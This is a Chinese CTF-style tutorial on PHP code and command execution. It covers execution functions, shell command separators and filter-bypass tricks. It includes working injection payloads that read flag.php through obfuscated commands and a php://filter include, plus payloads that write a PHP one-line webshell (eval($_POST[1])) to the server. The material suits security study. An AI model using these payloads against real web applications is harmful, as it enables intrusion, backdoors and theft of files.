基础系列03-代码执行

一、什么是代码执行与命令执行

1、代码执行

代码执行就是特殊的函数能够将一些字符串当作代码一样来执行,像”phpinfo();”,它本身是字符串,但是加上特殊函数(eval等)之后就会打印出信息。php代码中本身就存在一些特殊的函数像system函数,它的作用就是执行系统命令。这样的话eval(“system(“ls”)”);这样的话就会执行系统命令,所以说代码执行的定义相比命令执行更加大一些

2、命令执行:

就是Windows、Linux下面的命令,通过system等就可以执行php代码中执行

二、常见函数总结

1、常见的命令执行函数及运算符

(1)system函数

system(string $command, int &$return_var = ?): string
  • command表示执行的命令
  • return_var:存在则表示执行命令后的返回状态将会设置到此变量中
  • 它会输出返回结果

(2)exec函数与shell_exec函数

  • 作用执行系统命令
  • exec:输出结果不会返回,需要使用echo才会输出结果
  • shell_exec:通过shell环境执行命令,并且会输出完整的结果

(3)反引号

它的作用相当于system,但是它不会返回结果,需要用echo输出出来

(4)除此之外还有很多函数,之后遇到再补充

  • pssthru函数
  • popen函数
  • proc_open函数

2、常见的代码执行函数

(1)eval函数

eval(string $code)
  • code表示要执行的php代码

常见的使用eval函数的有

<?ph eval($_POST[1]);?>

<?ph eval(system("ls"));?>

(2)assert函数

https://www.php.cn/php-ask-429607.html

(3)除此之外还没很多函数,遇到以后再学

  • call_user_func函数
  • call_user_func_array函数
  • create_function函数
  • array_map函数
  • preg_replace函数

三、命令连接符

1、windows下常见的命令连接符

(1)&命令连接符

  • 两条命令都执行,不管前面的语句是否为真

(2)&&命令连接符

  • &&前面的语句为假,直接报错,&&后面的也不执行
  • &&前面的语句为真,&&前后的语句都执行

(3)|命令连接符

  • |前面的语句为假,直接报错,|后面的也不执行
  • |前面的语句为真,执行|后面的语句

(4)||命令连接符

  • 类似if-else语句,前面为真执行前面,否则执行后面

2、linux下常见的命令连接符

(1)&命令连接符

  • 两条命令都执行,不管前面的语句是否为真

(2)&&命令连接符

  • &&前面的语句为假,直接报错,&&后面的也不执行
  • &&前面的语句为真,&&前后的语句都执行

(3)|命令连接符

  • |前面的命令的输出作为后面命令的输入,前后命令都执行但是只显示后面的命令结果

(4)||命令连接符

  • 类似if-else语句,前面为真执行前面,否则执行后面

(5);命令连接符

  • 多个命令顺序执行,前后两条命令都会执行

3、命令连接符总结

(1)区别

Windows与Linux的命令连接符除了|之外差不多,但是两者最终显示的都是|后面的结果。而且linux相比windows多了一条分号

(2)作用

命令连接符的主要作用就是分割命令,分别执行。 目前这种我所看到的主要就是程序会把输出的结果重定向到null处,所以需要使用连接符进行分割

(3)常见命令连接符的使用

Linux下面的分号、||、&。因为这集中前面的结果都会展示

四、常见过滤以及绕过方式

1、绕过过滤空格

(1)%09绕过

(2){}绕过

(3)${IFS}绕过

(4)<绕过:cat<flag.php

2、绕过过滤关键字方法

(1)变量拼接

a=c;b=at;$a$b flag.php

(2)空变量绕过

ca{x}t flag.php

(3)\绕过

c\a\t flag.php

(4)通配符绕过

cat flag.*

(5)base64绕过

echo "Y2F0IGZsYWcucGhw"|base64 -d

cat flag.php

3、常见关键字替换

(1)cat命令

  • tac flag

  • c\a\t flag

  • echo Y2F0IGZsYWcucGhwCg==|base64 -d

  • nl flag.php

  • more

  • less

  • nl:用来计算文件中的行号,可以理解为cat -n;但是实际上不一样

  • uniq:检查以及删除文本文件中重复出现的行列,然后打印出结果

  • sort:根据每行的首字母的顺序进行排序,打印出结果

  • tail

(2)system函数

  • exec
  • 反引号
  • shell_exec

4、过滤括号(文件包含绕过)

(1)常见的题型

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

(2)一般是上面的这类题,使用的代码执行(eval函数等),过滤掉了括号,而eval函数一般使用等等方式有

① 写一句话木马上去

?c=file_put_contents("hack.php", "<?ph eval(\$_POST[1]);?>");
?C=echo "<?ph eval(\$_POST[1]);?>" > "hack.php" ;

② 利用system函数执行系统指令以实现绕过

?c=system("cat flag.php");

③ 使用参数逃逸的方式进行

?c=eval($_GET[1]);&1=system("cat flag.php")

上面的所有情况基本上都是涉及到括号的,这是因为基本上都调用了函数,这主要的原因是php中直接代码getshell的只有一句话木马(我知道的),phpinfo只能是一种测试,本身用处不大。唯一那种木马的绕过方式一旦尖括号被过滤就没有任何办法,所以采取发方式就是文件包含的方式 + 参数逃逸,这个主要的原因是这有这两个函数能在没有括号的时候能获取到文件里面的内容

?c=include $_GET[1];&1=php://filter/convert.base64-encode/resource=flag.php

5、关键字及其子关键字过滤

这种题型适合与关键的命令被过滤掉,此时我们就可以根据系统存放命令的地方结合通配符进行使用

(1)获取基本命令关键字

在Linux根目录下存在一个bin目录,它的作用就是用来存放系统的所有用户使用的指令。当然肯定会包括cat这些命令

此时再结合通配符,实现命令绕过

  • /bin/ca?

当然这种方式肯定是有局限性的,这种方式的主要问题在于你使用的通配符后,对应产生的命令有多条,而他会优先考虑前面的命令,经过在我Ubuntu下面的测试发现下面的指令的是唯一的

image-20220723102008656

(2)过滤掉字母

Linux下面还会存在一个base64的指令,根据通配符匹配后执行的优先级,它会优先执行base64。当然并不是每种环境下面都会存在这个命令,这只是一种方式

image-20220723101754311

payload:直接读取flag.php,这种文件名占八位的所有文件的内容,并以十六进制的形式展示出来

?c=/???/????64 ????????

6、过滤数字以及字母

(1)异或

  • ‘a’^’<’ ==》 [

  • ‘]’^’<’ ==》 a

  • 取反

  • 自增

7、如何实现上传一句话木马

(1)使用echo语句直接写入

?C=echo "<?ph eval(\$_POST[1]);?>" > "hack.php" ;

(2)使用file_put_contents函数写入

?c=file_put_contents("hack.php", "<?ph eval(\$_POST[1]);?>");

7、disable_function

8、过滤<

  • 过滤掉以后,无法实现一句话木马

  • 无法实现

9、常见的小技巧

  • 短标签替换
  • ; ==》 ?>

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮箱至 1627319559@qq.com

×

喜欢就点赞,疼爱就打赏